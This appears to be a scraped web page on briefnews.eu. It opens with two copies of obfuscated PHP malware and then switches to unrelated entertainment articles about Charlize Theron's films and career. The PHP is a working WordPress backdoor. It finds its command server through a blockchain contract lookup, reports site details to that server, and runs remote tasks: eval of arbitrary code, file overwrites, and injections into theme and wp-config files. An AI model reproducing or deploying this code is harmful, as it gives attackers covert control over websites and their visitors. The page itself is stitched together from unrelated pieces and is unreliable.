// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});

We’ve seen Charlize Theron play everything from a rough-looking serial killer to the commander of a tribe of post-apocalyptic warriors to a badass secret agent. Now we’re going to see her absolutely exhausted as a mother of three children just doing her best to get by.
Tully follows Charlize Theron as Marlo, a mother who barely makes it through each day, taking care of a newborn, doing laundry, cooking dinner, breast-pumping and more. Theron looks pretty worse for wear, but some help comes knocking on her door in the form of Mackenzie Davis.
Some real mothers out there might find it hard to accept Charlize Theron as a woman run ragged by her children since she’s the poster child for a Dior fragrance that literally paints her as a golden goddess, but let’s not forget that Theron is a single mother of two herself.
Even in this teaser trailer alone, Theron does a great job of pulling sympathy as she trudges through every minute of what must feel like the longest day ever every single day. Not helping matters is Ron Livingston, who is less than impressed that they’re having frozen pizza for dinner. Even though the trailer says this movie is about motherhood in 2018, this will surely resonate with plenty of parents in general out there, whether they’re mothers or fathers.
Thankfully, Theron is about to get a reprieve from our titular character, a night nanny named Tully (Davis), who has been summoned by Marlo’s brother (played by Mark Duplass).
Hopefully, this doesn’t take the predictable indie movie turn where Tully becomes the object of affection for Marlo’s husband, thereby creating problems in the relationship while also bringing out realizations about life for our main characters. Director Jason Reitman and writer Diablo Cody (the duo behind Juno and Young Adult) usually don’t stray into cliched areas for their collaborations, so it would be nice if they could avoid that trope.
A new comedy from Academy Award®-nominated director Jason Reitman (“Up in the Air”) and Academy Award®-winning screenwriter Diablo Cody (“Juno”). Marlo (Academy Award® winner Charlize Theron), a mother of three including a newborn, is gifted a night nanny by her brother (Mark Duplass). Hesitant to the extravagance at first, Marlo comes to form a unique bond with the thoughtful, surprising, and sometimes challenging young nanny named Tully (Mackenzie Davis).
Tully opens April 20, 2018.
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The Young Adult team of star Charlize Theron, director Jason Reitman and writer Diablo Cody are together again for Tully. The comedy features Theron as a mother who forges a unique bond with her new nanny, played by Mackenzie Davis. A Tully trailer is expected to drop any day now, but in the meantime, new Tully first look images offer a glimpse of Reitman’s new film.
Charlize Theron, Jason Reitman and Diablo Cody are hoping to rekindle the magic of Young Adult with their new film Tully. The self-described “comedy about motherhood” features Theron as a mother who receives a surprise gift from her brother (Mark Duplass): a night nanny named Tully, played by Halt and Catch Fire and Black Mirror star Mackenzie Davis. Theron’s character is initially skeptical about having a nanny, but eventually the two women begin to form a unique bond. Entertainment Weekly has a Tully first look with two images from the film.
The first image, which has a surprisingly eerie look, courtesy of Eric Steelberg’s cinematography, has Davis’ character looking on as Theron holds (breast feeds?) her child. This movie is described as a comedy, but I can’t tell if they’re going for some sort of Hand that Rocks the Cradle-vibe here, or if this is just a deceptive image. Speaking with PEOPLE, Theron says, “Tully watches her newborn overnight so that Marlo can get some sleep, and she becomes a surprising source of therapy and friendship for Marlo and she shows her what life can be like outside the mom bubble. But Marlo starts to realize Tully is not all that she seems.”
That “Tully is not all that she seems” line certainly hints at more going on here than meets the eye.
The other image has Theron passed out while children lurk in the background. Again, I’m getting a strong secret-horror-movie vibe from these images, but that might just be my wishful thinking. I’m sure the trailer, which is expected to hit any day now, will clear things up.
On working with Reitman again, Theron says, “Working with him again felt like picking up on the last day of shooting Young Adult, just with a different film and character this time around…Our relationship has been so solid and consistent all these years. He’s not afraid to tell stories about real women with real flaws — things that are sometimes uncomfortable for people to acknowledge.”
Truth be told, Young Adult was possibly the last truly good film Reitman made. He followed it up with clunkers like Labor Day and Men, Women & Children. Hopefully reuniting with his Young Adult team will have him regain some of his filmmaking strength. What I’m most excited about here is the presence of Mackenzie Davis, a phenomenal actress who deserves to be in all the movies, all the time.
Tully opens April 20, 2018.
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Titling your movie after a slur is always a gamble, but casting award-winning actors in your marijuana black comedy may be even more so.
Gringo stars David Oyelowo in his most broad comedic performance yet, playing a mild-mannered businessman who is tasked with delivering a formula for a new weed pill to a lab in Mexico. But because of the shady dealings of his superiors, played by Charlize Theron and Joel Edgerton, he gets kidnapped by a Mexican drug cartel and finds himself tangled in a web of drug conspiracies, mercenaries, and the DEA — and hey, isn’t that Sharlto Copley? But this is a comedy, so Oyelowo has to scream hysterically the entire time.
Note that this is a red band trailer, so consider not watching it at work.
I’m wholly confused by the tone that director Nash Edgerton’s Gringo is trying to nail (at least in this trailer). Is it a broad comedy or is it a satirical black comedy? And what about that roster of talented actors? Everything about the Amazon Studios film seems too over-the-top to fit that “black comedy” label it keeps striving for, especially with Theron vamping her way through the proceedings.
It is nice to see Oyelowo shed his dramatic persona to try to stretch his comedy chops, but I’m mostly unimpressed by his flailing in the trailer. Shartlo Copley feels like the one piece that fits, with his unhinged persona blending in nicely with the off-the-rails tone of Gringo.
Gringo also stars Amanda Seyfried, Yul Vazquez, Thandie Newton, and is set to hit theaters on March 9, 2018.
Here is the official synopsis for Gringo:
An exhilarating mix of dark comedy, white-knuckle action and dramatic intrigue, Gringo joyrides into Mexico, where mild-mannered businessman Harold Soyinka (David Oyelowo) finds himself at the mercy of his back-stabbing business colleagues back home, local drug lords and a morally conflicted black-ops mercenary. Crossing the line from law-abiding citizen to wanted criminal, Harold battles to survive his increasingly dangerous situation in ways that raise the question: Is he out of his depth — or two steps ahead?
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The Orville‘s crew has seen a lot of stars in their explorations of outer space… but maybe never one this big before.
Oscar winner Charlize Theron guest-stars on next Thursday’s episode (Fox, 9/8c) as Pria, the captain of a stranded spaceship who gets rescued by Ed (Seth MacFarlane) and his shipmates. And in the sneak peek posted above, Pria seems to charm the crew pretty quickly, even planting a kiss on Ed’s cheek. (Jealous yet, Kelly?) But maybe the new arrival’s intentions aren’t all that pure: We later see Ed commanding Pria, “Give me back my ship”… and Pria just glowering at him in response.
In 1995, Charlize Theron was newly arrived in Hollywood after stints as a model and a dancer, living in a fleabag motel, and running out of money. Her mother had sent the 20-year-old Theron a check from South Africa, but when she went to the bank to cash it, they refused her. Fed up, Theron threw what has been repeatedly called “a tantrum.” That argument, coupled with her beauty, caught the eye of an agent, who promptly handed over his business card. Fast-forward a few months, and there’s Theron in white lingerie, towering over Los Angeles in billboards for 2 Days in the Valley.
This anecdote finds its way into almost every profile of Theron, and Theron herself has regularly described it as “Lana Turner-esque,” referencing the classic Hollywood star who, according to popular lore, was “discovered” at Schwab’s Soda Fountain in Los Angeles in 1937. The tantrum, the beauty, and the comparisons to Turner — best known for her ice-cold platinum look and secretly sordid private life — provided the star mold for Theron’s early image. Like Turner, Theron was raised in rural isolation; like Turner, her father was murdered, leaving her and her mother to survive on their own. Neither had traditional training as actresses. Both were routinely underestimated, initially cast as pretty faces with beautiful bodies.
But unlike Turner, who was exploited and abused by a series of men in her private and professional life, Theron charted a different career trajectory for herself almost immediately. Over the course of the next two decades, her image has shifted from cool girl to bitch, and now from bitch to broad. Even with — or despite — her traditional beauty, she’s achieved a position of cultural and industrial power akin to Bette Davis and Katharine Hepburn, who, like Theron, prided themselves on ignoring the unspoken rules of proper (female) star behavior.
A portrait from Charlize Theron’s early modeling career in 1991 (left) and Lana Turner.
Today, Theron still labors to get people to talk about what she’s reading, her craft, or her politics, instead of what she ate to gain weight or what she’s doing in her private life. She continues to fight the idea that the private lives of female stars are not only public property, but take precedence over whatever they do onscreen. For that, she’s been labeled a bitch, a diva, and an ice queen. But she’s also fashioned one of the most enduring and unexpectedly varied careers in the business, positioning herself as one of the most bankable — and powerful — stars in Hollywood.
Theron has said that she’s “very attracted to characters who don’t necessarily make it easy to be loved.” But she’s only been able to refuse niceness, onscreen and off, because of her beauty: It’s the capital she keeps cashing in order to get interesting roles that will de-emphasize, or at least trouble, the privileges that attend being a thin, white, straight woman in today’s society.
So what happens when that beauty, at least by Hollywood standards, comes of age? First, you keep conducting your career as a man would — or, more precisely, you redefine what a woman’s career might look like. And then you lobby for, demand, or create the very roles that Hollywood wouldn’t otherwise. As Theron enters the third decade of her career, she hasn’t just figured out how to game the system. She’s trying to change it entirely.
After2 Days in the Valley, Theron’s agent arranged for her to audition for Showgirls. She was purportedly offered the lead role, later given to Elizabeth Berkley, but turned it down — and fired her agent. “We can see where he saw my career going,” she later told W magazine. She didn’t work for nearly a year; all of her offers were for “sex-kitten” roles that required her to take her clothes off. And then she won a part in That Thing You Do!, Tom Hanks’s directorial debut.
The role was significantly reduced during the editing process, but served as an opening for Theron. Over the next five years, she’d go on to play a string of wives and girlfriends who only periodically took off their clothes. Those films (The Astronaut’s Wife, Reindeer Games, and a half dozen more) were all relative duds, yet Theron was celebrated as one of the most beautiful women in the world — and became famous enough to attract funding for Monster. It was a role that promised to change the conversation about her.
From top: 2 Days in the Valley, 1996, The Astronaut’s Wife with Johnny Depp, 1999, and Reindeer Games with Ben Affleck, 2000
